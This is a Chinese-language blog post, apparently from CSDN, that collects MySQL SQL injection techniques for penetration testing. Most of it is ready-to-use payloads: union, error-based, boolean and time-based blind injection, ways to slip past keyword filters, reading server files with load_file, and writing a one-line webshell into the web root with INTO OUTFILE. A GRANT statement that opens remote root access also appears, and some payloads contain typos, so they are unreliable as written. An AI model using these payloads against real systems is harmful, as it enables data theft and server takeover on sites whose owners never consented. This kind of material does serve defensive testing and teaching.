• mysql在渗透中的技巧总结



    mysql在渗透中的技巧总结...
    目录:

    0×00 mysql一般注入(select)

    0×01 mysql一般注入(insert、update)

    0×02 mysql报错注入

    0×03 mysql一般盲注

    0×04 mysql时间盲注

    0×05 mysql其他注入技巧

    0×06 mysql数据库版本特性

    0×07 声明

    正文:

    0×00 mysql一般注入(select)

    1.注释符
    #

    /*

    - -


    2.过滤空格注入
    使用/**/或()或+代替空格

    %0c = form feed, new page
    %09 = horizontal tab
    %0d = carriage return
    %0a = line feed, new line

    SQL注入。有攻有防。知道进攻。才懂得防守.
    有的时候,很容易受到SQL注入攻击的程序,可能会进行输入过滤,用来防止攻击者无限制的利用其中存在的设计缺陷。
    唱出会删除或者净化一些字符,或者阻止常用的sql关键词。
    我们通常有以下几种技巧,去避开这些过滤。
    1,避免使用被阻止的字符,即不使用这些字符仍然达到攻击目的。
    A,如果注入一个数字数据字段,就不需要使用单引号。
    B,输入注释符号被阻止使用,我们可以设计注入的数据,既不破坏周围的查询语法。
    比如, ?id=1′ 这里存在注入,过滤了注释符合,我们可以输入 ?id=1′ or ‘a’=’a
    目的其实很简单,就是把后面的单引号给闭合掉。
    C,在一个MSSQL注入中注入批量查询的时候,不必使用分号分隔符。
    只要纠正所有批量查询的语法,无论你是否使用分号,查询的解析器依然能正确的去解释它们的。
    2,避免使用简单确认
    一些输入确认机制使用一个简单的黑名单,组织或删除任何出现在这个名单中的数据,比如防注入程序。
    这一般要看这个机制是否做的足够的好了,黑名单是否足够能确保安全。如果只是简单的黑名单,那也有机会突破的。
    A,如果select关键词被阻止或删除
    我们可以输入:
    SeLeCt       注意大小写
    selselectect    还记得ewebeditor是怎么过滤asp的么?
    %53%45%4c%45%43%54                        URL编码
    %2553%2545%254c%2545%2543%2554    对上面的每个%后加了一个25
    3,使用SQL注释符
    A,使用注释来冒充注入的数据中的空格。
    select/*yesu*/username,password/*yesu*/from/*yesu*/admin
    /*yesu*/来冒充空格
    B,使用注释来避开某些注入的确认过滤。
    SEL/*yesu*/ECT username,password fr/*yesu*/om admin
    4,处理被阻止的字符串
    比如,程序阻止了admin,因为怕攻击者注入admin表单中的数据。
    我们可以这样
    A,oracle数据库: ‘adm’||’in’
    B,MSSQL数据库: ‘adm’+’in’
    C,MYSQL数据库: concat (‘adm’,’in’)
    D,oracle中如果单引号被阻止了,还可以用chr函数
    sleect password from admin where username = char(97) || chr(100) || chr(109) || chr(105) || chr(110)
    还有其他方法。正在收集中

    3.多条数据显示
    concat()
    group_concat()
    concat_ws()

    4.相关函数
    system_user() 系统用户名
    user() 用户名
    current_user 当前用户名
    session_user()连接数据库的用户名
    database() 数据库名
    version() MYSQL数据库版本
    load_file() MYSQL读取本地文件的函数
    @@datadir 读取数据库路径
    @@basedir MYSQL 安装路径
    @@version_compile_os 操作系统 Windows Server 2003

    GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;

    5.mysql一般注入语句

    猜字段数

    order by n/*
    查看mysql基本信息
    and 1=2 union select 1,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version()),5,6,7/*
    查询数据库
    and 1=2 union select 1,schema_name,3,4 from information_schema.schemata limit 1,1/*
    and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata/*
    查询表名
    and 1=2 union select 1,2,3,4,table_name,5 from information_schema.tables where table_schema=数据库的16进制编码 limit 1,1/*
    and 1=2 union select 1,2,3,4,group_concat(table_name),5 from information_schema.tables where table_schema=数据库的16进制编码/*
    查询字段
    and 1=2 union select 1,2,3,4,column_name,5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码 limit 1,1/*
    and 1=2 union select 1,2,3,4,group_concat(column_name),5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码/*
    查询数据
    and 1=2 union select 1,2,3,字段1,5,字段2,7,8 from 数据库.表/*

    判断是否具有读写权限
    and (select count(*) from mysql.user)>0/*

    and (select count(file_priv) from mysql.user)>0/*

    6.mysql读取写入文件

    必备条件:

    读:file权限必备

    写:1.绝对路径 2.union使用 3. 可以使用''  

    -------------------------读----------------------                     

    mysql3.x读取方法
    create table a(cmd text);
    load data infile 'c:\\xxx\\xxx\\xxx.txt' into table a;
    select * from a;

    mysql4.x读取方法
    除上述方法还可以使用load_file()
    create table a(cmd text);
    insert into a(cmd) values(load_file('c:\\ddd\\ddd\\ddd.txt'));
    select * from a;

    mysql5.x读取方法
    上述两种都可以

    读取文件技巧:
    load_file(char(32,26,56,66))
    load_file(0x633A5C626F6F742E696E69)

    ------------写--------------------------

    into outfile写文件

    union select 1,2,3,char(这里写入你转换成10进制或16进制的一句话木马代码),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*
    union select 1,2,3,load_file('d:\web\logo123.jpg'),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*

    0x01 mysql一般注入(insert、update)

    mysql一般请求mysql_query不支持多语句执行,mysqli可以。 

    insert注入多使用报错注入!

    1.如果可以直接插入管理员可以直接使用!

    insert into user(username,password) values('xxxx',' xxxx'),('dddd','dddd')/*');

    2.如果可以插入一些数据,这些数据会在网页中显示,我们可以结合xxs和csrf来获取cookies或getshell

    update注入同上

    0x02 mysql报错注入

    1. and(select 1 from(select count(*),concat((select (select (语句)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

    语句处填入一般一句,如:SELECT distinct concat(0x7e,0x27,schema_name,0x27,0x7e) FROM information_schema.schemata LIMIT 0,1

    2. and+1=(select+*+from+(select+NAME_CONST((语句),1),NAME_CONST((语句),1))+as+x)--

    3.update web_ids set host='www.0x50sec.org' where id =1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (语句)),1,62)))a from information_schema.tables group by a)b);

    4.insert into web_ids(host) values((select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (语句)),1,62)))a from information_schema.tables group by a)b)));


     

     0x03 mysql一般盲注

    使用ascii

    AND ascii(substring((SELECT password FROM users where id=1),1,1))=49

    使用正则表达式

    and 1=(SELECT 1 FROM information_schema.tables  WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)

    0x04 mysql时间盲注

    1170 union select if(substring(current,1,1)=char(11),benchmark(5000000,encode('msg','by 5 seconds')),null) from (select database() as current) as tbl

    UNION SELECT IF(SUBSTRING(Password,1,1)='a',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’

    0x05 mysql其他注入技巧

    以后遇见了更新

    0x06 mysql数据库版本特性

    1. mysql5.0以后  information.schema库出现

    2. mysql5.1以后 udf 导入xx\lib\plugin\ 目录下

    3.mysql5.x以后 system执行命令

  • 相关阅读:
    Spring的前置增强,后置增强,异常抛出增强、自定义增强
    Linux内核性能剖析的方法学和主要工具
    基于单片机设计的家用自来水水质监测装置
    DevOps系列文章之 Docker-compose
    什么是hive的静态分区和动态分区,hive动态分区详解
    C++类和对象【下】
    前端培训丁鹿学堂:前端面试跨域之jsonp原理解析
    R语言筛选时间序列数据的子集(subset time series data)、构建单个日期时间索引数据筛选时间序列数据指定索引对应的数值
    有个朋友被骗了,大家要擦亮眼睛
    如何查找遥感卫星相关参数
  • 原文地址:https://blog.csdn.net/m0_62089210/article/details/126799789